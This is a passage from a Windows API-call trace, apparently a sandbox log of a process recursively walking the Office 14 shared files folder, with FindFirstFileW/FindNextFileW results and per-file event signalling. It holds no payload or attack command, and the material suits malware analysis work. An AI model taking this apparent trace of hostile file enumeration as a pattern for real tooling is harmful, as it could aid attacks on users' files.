nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0169.107] SetEvent (hEvent=0x178) returned 1 [0169.108] ResetEvent (hEvent=0x17c) returned 1 [0169.109] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0169.109] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.109] GetProcessHeap () returned 0x6a0000 [0169.109] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0169.109] FindNextFileW (in: hFindFile=0x731098, lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0169.109] GetProcessHeap () returned 0x6a0000 [0169.109] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3712528 [0169.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.110] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.110] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0169.110] GetProcessHeap () returned 0x6a0000 [0169.110] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x378a588 [0169.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0169.111] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.111] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0169.111] SetEvent (hEvent=0x178) returned 1 [0169.111] ResetEvent (hEvent=0x17c) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0169.118] SetEvent (hEvent=0x178) returned 1 [0169.118] ResetEvent (hEvent=0x17c) returned 1 [0169.120] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0169.120] SetEvent (hEvent=0x178) returned 1 [0169.120] ResetEvent (hEvent=0x17c) returned 1 [0169.122] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0169.122] SetEvent (hEvent=0x178) returned 1 [0169.122] ResetEvent (hEvent=0x17c) returned 1 [0169.123] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0169.123] SetEvent (hEvent=0x178) returned 1 [0169.124] ResetEvent (hEvent=0x17c) returned 1 [0169.125] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0169.126] SetEvent (hEvent=0x178) returned 1 [0169.126] ResetEvent (hEvent=0x17c) returned 1 [0169.126] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0169.126] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0169.126] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0169.126] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0169.126] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0169.126] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0169.127] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0169.127] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0169.127] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0169.127] GetProcessHeap () returned 0x6a0000 [0169.127] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378a588 | out: hHeap=0x6a0000) returned 1 [0169.127] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0169.127] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0169.127] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0169.127] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0169.129] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0169.129] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0169.129] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0169.129] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0169.129] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0169.129] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0169.129] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0169.130] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0169.130] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0169.130] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0169.130] GetProcessHeap () returned 0x6a0000 [0169.130] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x378a588 [0169.130] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, 